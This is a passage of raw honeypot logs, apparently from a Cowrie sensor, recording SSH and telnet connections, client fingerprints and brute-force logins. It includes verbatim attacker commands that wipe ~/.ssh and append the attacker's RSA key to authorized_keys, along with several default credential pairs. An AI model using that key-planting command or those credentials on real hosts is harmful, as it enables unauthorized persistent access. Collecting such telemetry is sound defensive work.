encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:42.930153Z","src_ip":"20.193.141.133","session":"aee252207170","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"rootroot","message":"login attempt [oracle/rootroot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:43.719784Z","src_ip":"20.193.141.133","session":"aee252207170","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:44.147536Z","src_ip":"20.193.141.133","session":"aee252207170","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:44.150885Z","src_ip":"20.193.141.133","session":"aee252207170","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:44.154943Z","src_ip":"20.193.141.133","session":"aee252207170","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:44.345998Z","src_ip":"20.193.141.133","session":"aee252207170","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:44.786713Z","src_ip":"20.193.141.133","session":"aee252207170","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:44.790267Z","src_ip":"20.193.141.133","session":"aee252207170","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:44.982847Z","src_ip":"20.193.141.133","session":"aee252207170","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:44.986932Z","src_ip":"20.193.141.133","session":"aee252207170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":4853,"dst_ip":"10.17.0.5","dst_port":22,"session":"9af9629b923e","protocol":"ssh","message":"New connection: 20.193.141.133:4853 (10.17.0.5:22) [session: 9af9629b923e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:45.172116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:45.176853Z","src_ip":"20.193.141.133","session":"9af9629b923e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:45.364517Z","src_ip":"20.193.141.133","session":"9af9629b923e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:46.155787Z","src_ip":"20.193.141.133","session":"9af9629b923e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:47.347454Z","src_ip":"20.193.141.133","session":"9af9629b923e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":14237,"dst_ip":"10.17.0.5","dst_port":22,"session":"5be61f7050d2","protocol":"ssh","message":"New connection: 20.193.141.133:14237 (10.17.0.5:22) [session: 5be61f7050d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:47.536646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:47.541940Z","src_ip":"20.193.141.133","session":"5be61f7050d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:47.886209Z","src_ip":"20.193.141.133","session":"5be61f7050d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00163173675537,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:48.295916Z","src_ip":"94.79.18.201","session":"b3591f2976fa","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:48.644723Z","src_ip":"20.193.141.133","session":"5be61f7050d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.79.18.201","src_port":58920,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8b47f3e6763","protocol":"telnet","message":"New connection: 94.79.18.201:58920 (159.203.135.109:23) [session: e8b47f3e6763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:48.790049Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:48.846049Z","src_ip":"20.193.141.133","session":"aee252207170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:48.850949Z","src_ip":"20.193.141.133","session":"5be61f7050d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36020,"dst_ip":"159.203.135.109","dst_port":22,"session":"23a1cfafb86b","protocol":"ssh","message":"New connection: 159.203.92.129:36020 (159.203.135.109:22) [session: 23a1cfafb86b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:50.356883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:50.362413Z","src_ip":"159.203.92.129","session":"23a1cfafb86b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:50.373769Z","src_ip":"159.203.92.129","session":"23a1cfafb86b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"1234567890","message":"login attempt [adam/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:50.387295Z","src_ip":"159.203.92.129","session":"23a1cfafb86b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:51.397131Z","src_ip":"159.203.92.129","session":"23a1cfafb86b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":62766,"dst_ip":"159.203.135.109","dst_port":22,"session":"35b3074ac944","protocol":"ssh","message":"New connection: 194.59.206.2:62766 (159.203.135.109:22) [session: 35b3074ac944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:56.374116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:57.301170Z","src_ip":"194.59.206.2","session":"35b3074ac944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:57.304945Z","src_ip":"194.59.206.2","session":"35b3074ac944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:24:58.679157Z","src_ip":"194.59.206.2","session":"35b3074ac944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43018,"dst_ip":"159.203.135.109","dst_port":22,"session":"77cfebaee127","protocol":"ssh","message":"New connection: 159.203.92.129:43018 (159.203.135.109:22) [session: 77cfebaee127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:34.878786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:34.884115Z","src_ip":"159.203.92.129","session":"77cfebaee127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:34.894036Z","src_ip":"159.203.92.129","session":"77cfebaee127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"adam","message":"login attempt [adam/adam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:34.920138Z","src_ip":"159.203.92.129","session":"77cfebaee127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:35.927978Z","src_ip":"159.203.92.129","session":"77cfebaee127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00689387321472,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:41.917171Z","src_ip":"102.135.170.60","session":"338f0510af05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0021436214447,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:42.606084Z","src_ip":"102.135.170.60","session":"f782e59655fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":52586,"dst_ip":"10.17.0.5","dst_port":23,"session":"c338d66745e9","protocol":"telnet","message":"New connection: 102.135.170.60:52586 (10.17.0.5:23) [session: c338d66745e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:43.229600Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":52686,"dst_ip":"10.17.0.5","dst_port":23,"session":"449bf91cd396","protocol":"telnet","message":"New connection: 102.135.170.60:52686 (10.17.0.5:23) [session: 449bf91cd396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:43.798132Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":63081,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7cd0e1ef0a8","protocol":"ssh","message":"New connection: 20.193.141.133:63081 (10.17.0.5:22) [session: e7cd0e1ef0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:45.255922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:45.261261Z","src_ip":"20.193.141.133","session":"e7cd0e1ef0a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@ope